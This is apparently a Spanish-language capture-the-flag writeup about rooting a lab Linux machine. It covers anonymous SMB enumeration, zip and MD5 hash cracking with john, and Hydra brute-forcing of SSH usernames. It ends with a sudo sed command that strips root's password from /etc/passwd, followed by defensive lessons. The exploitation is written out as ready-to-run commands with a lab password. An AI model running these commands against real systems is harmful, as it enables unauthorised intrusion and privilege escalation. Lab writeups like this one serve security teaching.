Introducción
En este writeup detallaremos la intrusión completa en una máquina Linux. El proceso abarca la enumeración de servicios
Samba (SMB), cracking de archivos comprimidos, fuerza bruta de usuarios en puertos SSH no estándar y una técnica
de escalada de privilegios mediante la manipulación del archivo /etc/passwd utilizando el binario sed.
Reconocimiento inicial
Comenzamos identificando los servicios expuestos en la red. El escaneo de puertos revela lo siguiente:
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
65535/tcp open ssh OpenSSH 9.2p1
Notamos dos puntos clave:
- SMB (445): Un vector común para encontrar archivos olvidados o recursos compartidos sin contraseña.
- SSH (65535): El servicio SSH está movido al último puerto disponible, lo que indica un intento de ocultación (Security by obscurity).
Enumeración de SMB
Utilizamos smbmap para listar los recursos compartidos disponibles en el servidor:
smbmap -H 192.168.100.13
El resultado nos muestra un recurso llamado backup con permisos de READ ONLY. Procedemos a conectarnos y descargar el contenido:
smbclient //192.168.100.13/backup -N
# Dentro de la shell de SMB:
ls
get secretito.zip
Cracking de Archivo comprimido
Al intentar descomprimir secretito.zip, el sistema solicita una contraseña. Usamos zip2john para obtener el hash y john para romperlo:
zip2john secretito.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Obtenemos la contraseña: -----. Tras descomprimir el archivo, encontramos una nota con la clave: elbunker....
Acceso Inicial (SSH)
Sabemos que el puerto SSH es el 65535 y tenemos una contraseña potencial, pero no el usuario. Realizamos un ataque de enumeración de usuarios con Hydra:
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p elbunkermolagollon123 ssh://192.168.100.13:65535
Hydra identifica al usuario cowboy. Accedemos al sistema:
ssh cowboy@192.168.100.13 -p 65535
Movimiento Lateral y Base de Datos
Una vez dentro como cowboy, revisamos el historial de comandos (history) y los puertos internos. Descubrimos que las mismas credenciales funcionan para acceder a la base de datos MariaDB:
mariadb -u cowboy -pelbunkermolagollon123
Dentro de la base de datos bunker, en la tabla users, encontramos un hash MD5 perteneciente al usuario debian:
# Hash encontrado: 7c6a180b36896a0a8c02787eeafb0e4c
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash_debian
La contraseña crackeada es: -----. Cambiamos de usuario con su debian.
Escalada de Privilegios
Como usuario debian, revisamos nuestros privilegios de sudo:
sudo -l
# Resultado: (ALL) NOPASSWD: /usr/bin/sed
El binario sed es un editor de flujo muy potente. Al poder ejecutarlo como root, podemos modificar archivos sensibles. El objetivo es el archivo /etc/passwd.
Técnica: Eliminación de contraseña de Root
En Linux, si la segunda columna del archivo /etc/passwd (donde suele estar una 'x') está vacía, el sistema no solicita contraseña para ese usuario. Ejecutamos:
sudo /usr/bin/sed -i 's/root:x/root:/g' /etc/passwd
Este comando busca root:x y lo reemplaza por root: (sin la x), guardando los cambios directamente en el archivo. Ahora, simplemente escalamos:
su root
whoami
# root
Resumen:
- Configuración SMB: Nunca se debe permitir el acceso "Null Session" o lectura anónima a recursos con backups.
- Gestión de contraseñas: El uso de la misma contraseña para SSH y Bases de Datos facilitó el movimiento lateral.
- Privilegios Sudo: Permitir
sedcon sudo es extremadamente peligroso, ya que equivale a dar acceso de escritura a cualquier archivo del sistema.
Este material es solo para aprendizaje y CTFs legales. No lo uses en sistemas sin autorización. Comparte.